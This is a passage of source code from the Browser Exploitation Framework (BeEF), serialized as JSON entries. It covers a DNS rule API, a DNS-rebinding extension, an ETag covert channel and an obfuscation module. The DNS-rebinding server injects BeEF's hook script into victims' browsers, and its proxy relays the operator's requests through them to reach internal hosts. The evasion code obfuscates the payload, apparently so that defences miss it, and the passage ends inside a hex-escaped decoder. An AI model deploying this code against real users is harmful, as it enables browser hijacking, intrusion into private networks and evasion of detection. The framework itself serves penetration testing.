characters).\n          def validate_pattern(pattern)\n            raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&\n                                                !BeEF::Filters.has_null?(pattern) &&\n                                                !BeEF::Filters.has_non_printable_char?(pattern)\n          end\n\n          # Strict validator which ensures that only an appropriate response is given.\n          #\n          # @param resource [Resolv::DNS::Resource::IN] resource record type\n          # @param response [String, Symbol, Array] response to include in callback\n          #\n          # @return [String] string representation of callback that can safely be eval'd\n          def format_callback(resource, response)\n            sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i\n\n            if resource == Resolv::DNS::Resource::IN::A\n              if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)\n                format \"t.respond!('%s')\", response\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response.to_s =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              elsif response.is_a?(Array)\n                str1 = \"t.respond!('%s');\"\n                str2 = ''\n\n                response.each do |r|\n                  raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)\n\n                  str2 << format(str1, r)\n                end\n\n                str2\n              else\n                raise InvalidDnsResponseError, 'A'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::AAAA\n              if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)\n                format \"t.respond!('%s')\", response\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              elsif response.is_a?(Array)\n                str1 = \"t.respond!('%s');\"\n                str2 = ''\n\n                response.each do |r|\n                  raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)\n\n                  str2 << format(str1, r)\n                end\n\n                str2\n              else\n                raise InvalidDnsResponseError, 'AAAA'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::CNAME\n              if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)\n                format \"t.respond!(Resolv::DNS::Name.create('%s'))\", response\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              else\n                raise InvalidDnsResponseError, 'CNAME'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::MX\n              if response[0].is_a?(Integer) &&\n                 BeEF::Filters.is_valid_domain?(response[1])\n\n                data = { preference: response[0], exchange: response[1] }\n                format \"t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))\", data\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              else\n                raise InvalidDnsResponseError, 'MX'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::NS\n              if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)\n                format \"t.respond!(Resolv::DNS::Name.create('%s'))\", response\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              elsif response.is_a?(Array)\n                str1 = \"t.respond!(Resolv::DNS::Name.create('%s'))\"\n                str2 = ''\n\n                response.each do |r|\n                  raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)\n\n                  str2 << format(str1, r)\n                end\n\n                str2\n              else\n                raise InvalidDnsResponseError, 'NS'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::PTR\n              if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)\n                format \"t.respond!(Resolv::DNS::Name.create('%s'))\", response\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              else\n                raise InvalidDnsResponseError, 'PTR'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::SOA\n              if response.is_a?(Array)\n                unless BeEF::Filters.is_valid_domain?(response[0]) &&\n                       BeEF::Filters.is_valid_domain?(response[1]) &&\n                       response[2].is_a?(Integer) &&\n                       response[3].is_a?(Integer) &&\n                       response[4].is_a?(Integer) &&\n                       response[5].is_a?(Integer) &&\n                       response[6].is_a?(Integer)\n\n                  raise InvalidDnsResponseError, 'SOA'\n                end\n\n                data = {\n                  mname: response[0],\n                  rname: response[1],\n                  serial: response[2],\n                  refresh: response[3],\n                  retry: response[4],\n                  expire: response[5],\n                  minimum: response[6]\n                }\n\n                format \"t.respond!(Resolv::DNS::Name.create('%<mname>s'), \" +\n                       \"Resolv::DNS::Name.create('%<rname>s'), \" +\n                       '%<serial>d, ' +\n                       '%<refresh>d, ' +\n                       '%<retry>d, ' +\n                       '%<expire>d, ' +\n                       '%<minimum>d)',\n                       data\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              else\n                raise InvalidDnsResponseError, 'SOA'\n              end\n            elsif resource == Resolv::DNS::Resource::IN::WKS\n              if response.is_a?(Array)\n                if !BeEF::Filters.is_valid_ip?(resource[0]) &&\n                   resource[1].is_a?(Integer) &&\n                   resource[2].is_a?(Integer) && !resource.is_a?(String)\n                  raise InvalidDnsResponseError, 'WKS'\n                end\n\n                data = {\n                  address: response[0],\n                  protocol: response[1],\n                  bitmap: response[2]\n                }\n\n                format \"t.respond!('%<address>s', %<protocol>d, %<bitmap>d)\", data\n              elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex\n                format 't.fail!(:%s)', response.to_sym\n              else\n                raise InvalidDnsResponseError, 'WKS'\n              end\n            else\n              raise UnknownDnsResourceError\n            end\n          end\n\n          # Raised when an invalid pattern is given.\n          class InvalidDnsPatternError < StandardError\n            DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'\n\n            def initialize(message = nil)\n              super(message || DEFAULT_MESSAGE)\n            end\n          end\n\n          # Raised when a response is not valid for the given DNS resource record.\n          class InvalidDnsResponseError < StandardError\n            def initialize(message = nil)\n              str = 'Failed to add DNS rule with invalid response for %s resource record', message\n              message = format str, message unless message.nil?\n              super(message)\n            end\n          end\n\n          # Raised when an unknown DNS resource record is given.\n          class UnknownDnsResourceError < StandardError\n            DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'\n\n            def initialize(message = nil)\n              super(message || DEFAULT_MESSAGE)\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns/rest/dns.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Dns\n      # This class handles the routing of RESTful API requests that query BeEF's DNS server\n      class DnsRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          @dns ||= BeEF::Extension::Dns::Server.instance\n          config = BeEF::Core::Configuration.instance\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Returns the entire current DNS ruleset\n        get '/ruleset' do\n          ruleset = @dns.get_ruleset\n          count = ruleset.length\n\n          result = {}\n          result[:count] = count\n          result[:ruleset] = ruleset\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving DNS ruleset (#{e.message})\"\n          halt 500\n        end\n\n        # Returns a specific rule given its id\n        get '/rule/:id' do\n          id = params[:id]\n\n          rule = @dns.get_rule(id)\n          raise InvalidParamError, 'id' if rule.nil?\n\n          halt 404 if rule.empty?\n\n          rule.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving DNS rule with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Adds a new DNS rule\n        post '/rule' do\n          body = JSON.parse(request.body.read)\n\n          pattern = body['pattern']\n          resource = body['resource']\n          response = body['response']\n\n          # Validate required JSON keys\n          raise InvalidJsonError, 'Empty \"pattern\" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')\n          raise InvalidJsonError, 'Invalid \"resource\" key passed to endpoint /api/dns/rule' if resource !~ /\\A[A-Z]+\\Z/\n          raise InvalidJsonError, 'Non-array \"response\" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)\n          raise InvalidJsonError, 'Empty \"response\" array passed to endpoint /api/dns/rule' if response.empty?\n\n          # Validate resource\n          case resource\n          when 'A'\n            dns_resource = Resolv::DNS::Resource::IN::A\n          when 'AAAA'\n            dns_resource = Resolv::DNS::Resource::IN::AAAA\n          when 'CNAME'\n            dns_resource = Resolv::DNS::Resource::IN::CNAME\n          when 'HINFO'\n            dns_resource = Resolv::DNS::Resource::IN::HINFO\n          when 'MINFO'\n            dns_resource = Resolv::DNS::Resource::IN::MINFO\n          when 'MX'\n            dns_resource = Resolv::DNS::Resource::IN::MX\n          when 'NS'\n            dns_resource = Resolv::DNS::Resource::IN::NS\n          when 'PTR'\n            dns_resource = Resolv::DNS::Resource::IN::PTR\n          when 'SOA'\n            dns_resource = Resolv::DNS::Resource::IN::SOA\n          when 'TXT'\n            dns_resource = Resolv::DNS::Resource::IN::TXT\n          when 'WKS'\n            dns_resource = Resolv::DNS::Resource::IN::WKS\n          else\n            raise InvalidJsonError, 'Invalid \"resource\" key passed to endpoint /api/dns/rule'\n          end\n\n          # Add rule\n          id = @dns.add_rule(\n            pattern: pattern,\n            resource: dns_resource,\n            response: response\n          )\n\n          # Return result\n          result = {}\n          result['success'] = true\n          result['id'] = id\n          result.to_json\n        rescue InvalidJsonError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while adding DNS rule (#{e.message})\"\n          halt 500\n        end\n\n        # Removes a rule given its id\n        delete '/rule/:id' do\n          id = params[:id]\n\n          removed = @dns.remove_rule!(id)\n          raise InvalidParamError, 'id' if removed.nil?\n\n          result = {}\n          result['success'] = removed\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while removing DNS rule with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Raised when invalid JSON input is passed to an /api/dns handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/dns handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/dns handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns_rebinding/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module DNSRebinding\n      module API\n        module ServHandler\n          BeEF::API::Registrar.instance.register(\n            BeEF::Extension::DNSRebinding::API::ServHandler,\n            BeEF::API::Server,\n            'pre_http_start'\n          )\n\n          def self.pre_http_start(_http_hook_server)\n            config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')\n            address_http = config['address_http_internal']\n            address_proxy = config['address_proxy_internal']\n            port_http = config['port_http']\n            port_proxy = config['port_proxy']\n            Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }\n            Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns_rebinding/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        dns_rebinding:\n            enable: false\n            name: 'DNS Rebinding'\n            authors: ['Milovanov T.I.']\n            #Addresses are split into internal/external for more convenient attack\n            #from LAN.\n            address_http_internal:  '192.168.x.x'\n            address_http_external:  'x.x.x.x'\n            address_proxy_internal: '192.168.x.x'\n            address_proxy_external: 'x.x.x.x'\n            port_http: 80\n            port_proxy: 81\n            debug_mode: true\n"
  },
  {
    "path": "extensions/dns_rebinding/dns_rebinding.rb",
    "content": "module BeEF\n  module Extension\n    module DNSRebinding\n      # Very simple HTTP server. Its task is only hook victim\n      class Server\n        @debug_mode = false\n        def self.log(msg)\n          warn msg.to_s if @debug_mode\n        end\n\n        def self.run_server(address, port)\n          server = TCPServer.new(address, port)\n          @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')\n          loop do\n            s = server.accept\n            Thread.new(s) do |socket|\n              victim_ip = socket.peeraddr[2].to_s\n\n              log \"-------------------------------\\n\"\n              log '[Server] Incoming request from ' + victim_ip + \"(Victim)\\n\"\n\n              response = File.read(File.expand_path('views/index.html', __dir__))\n              configuration = BeEF::Core::Configuration.instance\n\n              proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n              hook_file = configuration.get('beef.http.hook_file')\n              hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}\"\n\n              response.sub!('path_to_hookjs_template', hook_uri)\n\n              start_string = socket.gets\n              socket.print \"HTTP/1.1 200 OK\\r\\n\" +\n                           \"Content-Type: text/html\\r\\n\" +\n                           \"Content-Length: #{response.bytesize}\\r\\n\" +\n                           \"Connection: close\\r\\n\"\n              socket.print \"\\r\\n\"\n              socket.print response\n              socket.close\n\n              # Indicate that victim load all javascript and we can block it with iptables.\n              dr_config = configuration.get('beef.extension.dns_rebinding')\n              if start_string.include?('load')\n                log \"[Server] Block with iptables\\n\"\n                port_http = dr_config['port_http']\n                if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)\n                  IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],\n                           'r+') do |io|\n                  end\n                else\n                  print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'\n                end\n              end\n              log \"-------------------------------\\n\"\n            end\n          end\n        end\n      end\n\n      class Proxy\n        @queries = Queue.new\n        @responses = {}\n        @mutex_responses = nil\n        @mutex_queries = nil\n        @debug_mode = false\n\n        def self.send_http_response(socket, response, heads = {})\n          socket.print \"HTTP/1.1 200 OK\\r\\n\"\n\n          headers = {}\n          headers['Content-Type'] = 'text/html'\n          headers['Content-Length'] = response.size.to_s\n          headers['Connection'] = 'close'\n          headers['Access-Control-Allow-Origin'] = '*'\n          headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n          headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'\n          headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'\n\n          headers_a = heads.to_a\n          headers_a.each do |header, value|\n            headers[header] = value\n          end\n\n          headers.to_a.each do |header, value|\n            socket.print header + ': ' + value + \"\\r\\n\"\n          end\n\n          socket.print \"\\r\\n\"\n          socket.print response\n        end\n\n        def self.log(log_message)\n          warn log_message if @debug_mode\n        end\n\n        def self.read_http_message(socket)\n          message = {}\n          message['start_string'] = socket.gets.chomp\n          message['headers'] = {}\n          message['response'] = ''\n          c = socket.gets\n          while c != \"\\r\\n\"\n            name = c[/(.+): (.+)/, 1]\n            value = c[/(.+): (.+)/, 2]\n            message['headers'][name] = value.chomp\n            c = socket.gets\n          end\n          length = message['headers']['Content-Length']\n          if length\n            # Ruby read() doesn't return while not read all <length> byte\n            resp = socket.read(length.to_i)\n            message['response'] = resp\n          end\n          message\n        end\n\n        def self.handle_victim(socket, http_message)\n          log \"[Victim]request from victim\\n\"\n          log http_message['start_string'].to_s + \"\\n\"\n\n          if http_message['start_string'].include?('POST')\n            # Get result from POST query\n            log \"[Victim]Get the result of last query\\n\"\n\n            # Read query on which asked victim\n            query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]\n            log '[Victim]asked path: ' + query + \"\\n\"\n\n            length = http_message['headers']['Content-Length'].to_i\n            content_type = http_message['headers']['Content-Type']\n            log '[Victim]Content-type: ' + content_type.to_s + \"\\n\"\n            log '[Vicitm]Length: ' + length.to_s + \"\\n\"\n\n            response = http_message['response']\n            log \"[Victim]Get content!\\n\"\n\n            send_http_response(socket, 'ok')\n            socket.close\n\n            log \"[Victim]Close connection POST\\n\"\n            log \"--------------------------------\\n\"\n\n            @mutex_responses.lock\n            @responses[query] = [content_type, response]\n            @mutex_responses.unlock\n          elsif http_message['start_string'].include?('OPTIONS')\n            send_http_response(socket, '')\n            socket.close\n            log \"[Victim]Respond on OPTIONS reques\\n\"\n            log \"--------------------------------\\n\"\n          else\n            # Look for queues from beef owner\n            log \"[Victim]Waiting for next query..\\n\"\n            while @queries.size == 0\n            end\n\n            # Get the last query\n            @mutex_queries.lock\n            log \"[Victim]Get the last query\\n\"\n            last_query = @queries.pop\n            log '[Victim]Last query:' + last_query.to_s + \"\\n\"\n            @mutex_queries.unlock\n\n            response = last_query[2]\n            send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })\n            log \"[Victim]Send next query to victim's browser\\n\"\n            log \"---------------------------------------------\\n\"\n            socket.close\n          end\n        end\n\n        # Handle request from BeEF owner\n        def self.handle_owner(socket, http_message)\n          log \"[Owner]Request from owner\\n\"\n          path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]\n\n          if http_message['start_string'].include?('GET')\n            unless path.nil?\n              log '[Owner]Need path: ' + path + \"\\n\"\n              @queries.push(['GET', path, ''])\n            end\n          elsif http_message['start_string'].include?('POST')\n            log \"[Owner]Get POST request\\n\"\n            @queries.push(['POST', path, http_message['response']]) unless path.nil?\n          end\n\n          # Waiting for response, this check should not conflict with thread 2\n          while @responses[path].nil?\n          end\n\n          @mutex_responses.lock\n          log \"[Owner]Get the response\\n\"\n          response_a = @responses[path]\n          @mutex_responses.unlock\n\n          response = response_a[1]\n          content_type = response_a[0]\n\n          send_http_response(socket, response, { 'Content-Type' => content_type })\n\n          log \"[Owner]Send response to owner\\n\"\n          log \"-------------------------------\\n\"\n          socket.close\n        end\n\n        def self.run_server(address, port)\n          @server = TCPServer.new(address, port)\n          @mutex_responses = Mutex.new\n          @mutex_queries = Mutex.new\n          @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')\n          loop do\n            s = @server.accept\n            Thread.new(s) do |socket|\n              http_message = read_http_message(socket)\n              if http_message['start_string'].include?('from_victim')\n                handle_victim(socket, http_message)\n              else\n                handle_owner(socket, http_message)\n              end\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns_rebinding/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module DNSRebinding\n      extend BeEF::API::Extension\n\n      @short_name  = 'DNS Rebinding'\n      @full_name   = 'DNS Rebinding'\n      @description = 'DNS Rebinding extension'\n    end\n  end\nend\n\nrequire 'extensions/dns_rebinding/api'\nrequire 'extensions/dns_rebinding/dns_rebinding'\n"
  },
  {
    "path": "extensions/dns_rebinding/views/index.html",
    "content": "<html>\n<head>\n    <script>\n        var commandModuleStr = '<script src=\"path_to_hookjs_template\" type=\"text/javascript\"><\\/script>';\n        document.write(commandModuleStr);\n    </script>\n</head>\n</html>\n"
  },
  {
    "path": "extensions/etag/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ETag\n      module API\n        module ETagHandler\n          BeEF::API::Registrar.instance.register(\n            BeEF::Extension::ETag::API::ETagHandler,\n            BeEF::API::Server,\n            'mount_handler'\n          )\n\n          def self.mount_handler(beef_server)\n            beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)\n            print_info 'ETag Server: /etag'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/etag/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        etag:\n            enable: false\n            name: 'Server-to-Client Etag Tunnel'\n            authors: [\"ovbroslavsky\", \"neoleksov\"]\n"
  },
  {
    "path": "extensions/etag/etag.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ETag\n      require 'sinatra/base'\n      require 'singleton'\n\n      class ETagMessages\n        include Singleton\n        attr_accessor :messages\n\n        def initialize\n          @messages = {}\n        end\n      end\n\n      class ETagWebServer < Sinatra::Base\n        def create_ET_header\n          inode = File.stat(__FILE__).ino\n          size  = 3\n          mtime = (Time.now.to_f * 1_000_000).to_i\n          \"#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L\"\n        end\n\n        get '/:id/start' do\n          data = ETagMessages.instance.messages[params[:id].to_i]\n\n          $etag_server_state = {} unless defined?($etag_server_state)\n          $etag_server_state[params[:id]]               = {}\n          $etag_server_state[params[:id]][:cur_bit]     = -1\n          $etag_server_state[params[:id]][:last_header] = create_ET_header\n          $etag_server_state[params[:id]][:message] = data\n\n          headers 'ETag' => $etag_server_state[params[:id]][:last_header]\n          body 'Message start'\n        end\n\n        get '/:id' do\n          return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?\n\n          if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1\n            $etag_server_state[params[:id]][:cur_bit] += 1\n          else\n            $etag_server_state.delete(params[:id])\n            status 404\n            return 'Bing'\n          end\n\n          $etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'\n\n          headers 'ETag' => $etag_server_state[params[:id]][:last_header]\n          body 'Bit'\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/etag/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ETag\n      extend BeEF::API::Extension\n\n      @short_name  = 'ETag'\n      @full_name   = 'Server-to-Client ETag-based Covert Timing Channel'\n      @description = 'This extension provides a custom BeEF HTTP server ' \\\n                     'that implements unidirectional covert timing channel from ' \\\n                     'BeEF communication server to zombie browser over Etag header.'\n    end\n  end\nend\n\nrequire 'extensions/etag/api'\nrequire 'extensions/etag/etag'\n"
  },
  {
    "path": "extensions/evasion/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        evasion:\n            enable: false\n            name: 'Evasion'\n            authors: [\"antisnatchor\"]\n\n            # Exclude code JavaScript libraries\n            exclude_core_js: [\"lib/jquery-1.12.4.min.js\", \"lib/json2.js\", \"lib/mdetect.js\"]\n\n            # Obfuscation methods are executed in the order in which they're provided here\n            # Available techniques: [\"minify\", \"base_64\", \"whitespace\"]\n            chain: [\"minify\", \"base_64\"]\n\n            # experimental (broken - do not use):\n            scramble_variables: false\n            scramble_cookies: false\n            scramble:\n              beef: \"beef\"\n              Beef: \"Beef\"\n              evercookie: \"evercookie\"\n              BeEF: \"BeEF\"\n"
  },
  {
    "path": "extensions/evasion/evasion.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      class Evasion\n        include Singleton\n\n        @@config = BeEF::Core::Configuration.instance\n        @@enabled = @@config.get('beef.extension.evasion.enable')\n\n        def initialize\n          return unless @@enabled\n\n          @techniques ||= load_techniques\n\n          if @techniques.empty?\n            print_error '[Evasion] Initialization failed. No obfuscation techniques specified.'\n            @@config.set('beef.extension.evasion.enable', false)\n            return\n          end\n\n          print_debug \"[Evasion] Loaded obfuscation chain: #{@techniques.join(', ')}\"\n        end\n\n        # load obfuscation technique chain\n        def load_techniques\n          techniques = @@config.get('beef.extension.evasion.chain') || []\n          return [] if techniques.empty?\n\n          chain = []\n          techniques.each do |technique|\n            unless File.exist?(\"#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb\")\n              print_error \"[Evasion] Failed to load obfuscation technique '#{technique}' - file does not exist\"\n              next\n            end\n            chain << technique\n          end\n\n          chain\n        rescue StandardError => e\n          print_error \"[Evasion] Failed to load obfuscation technique chain: #{e.message}\"\n          []\n        end\n\n        # Obfuscate the input JS applying the chain of techniques defined in the main config file.\n        def obfuscate(input)\n          @input = apply_chain(input)\n        end\n\n        def add_bootstrapper\n          bootstrap = ''\n          # add stuff at the end, only once (when serving the initial init javascript)\n          @techniques.each do |technique|\n            # Call the \"execute\" method of the technique module, passing the input and update\n            # the input in preperation for the next technique in the chain\n            klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance\n            if klass.need_bootstrap?\n              print_debug \"[Evasion] Adding bootstrapper for technique: #{technique}\"\n              bootstrap << klass.get_bootstrap\n            end\n          end\n\n          bootstrap\n        rescue StandardError => e\n          print_error \"[Evasion] Failed to bootstrap obfuscation technique: #{e.message}\"\n          print_error e.backtrace\n        end\n\n        def apply_chain(input)\n          output = input\n          @techniques.each do |technique|\n            # Call the \"execute\" method of the technique module, passing the input and update\n            # the input in preperation for the next technique in the chain\n            print_debug \"[Evasion] Applying technique: #{technique}\"\n            klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance\n            output = klass.execute(output, @@config)\n          end\n\n          print_debug \"[Evasion] Obfuscation completed (#{output.length} bytes)\"\n          output\n        rescue StandardError => e\n          print_error \"[Evasion] Failed to apply obfuscation technique: #{e.message}\"\n          print_error e.backtrace\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/evasion/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      extend BeEF::API::Extension\n\n      @short_name = 'evasion'\n      @full_name = 'Evasion'\n      @description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'\n    end\n  end\nend\n\nrequire 'extensions/evasion/evasion'\n# require 'extensions/evasion/obfuscation/scramble'\nrequire 'extensions/evasion/obfuscation/minify'\nrequire 'extensions/evasion/obfuscation/base_64'\nrequire 'extensions/evasion/obfuscation/whitespace'\n"
  },
  {
    "path": "extensions/evasion/obfuscation/base_64.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Evasion\n      class Base_64\n        include Singleton\n\n        def need_bootstrap?\n          true\n        end\n\n        def get_bootstrap\n          # the decode function is obfuscated, and it's called \"dec\"\n          # (see below in \"execute\", where it is used)\n          'var _0x33db=[\"\\x61\\x74\\x6F\\x62\",\"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x6B\\x6C\\x6D\\x6E\\x6F\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x2B\\x2F\\x3D\",\"\",\"\\x63\\x68\\x61\\x72\\x41\\x74\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x66\\x72\\x6F\\x6D\\x43\\x68\\x61\\x72\\x43\\x6F\\x64\\x65\",\"\\x6C\\x65\\x6E\\x67\\x74\\x68\",\"\\x6A\\x6F\\x69\\x6E\"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} 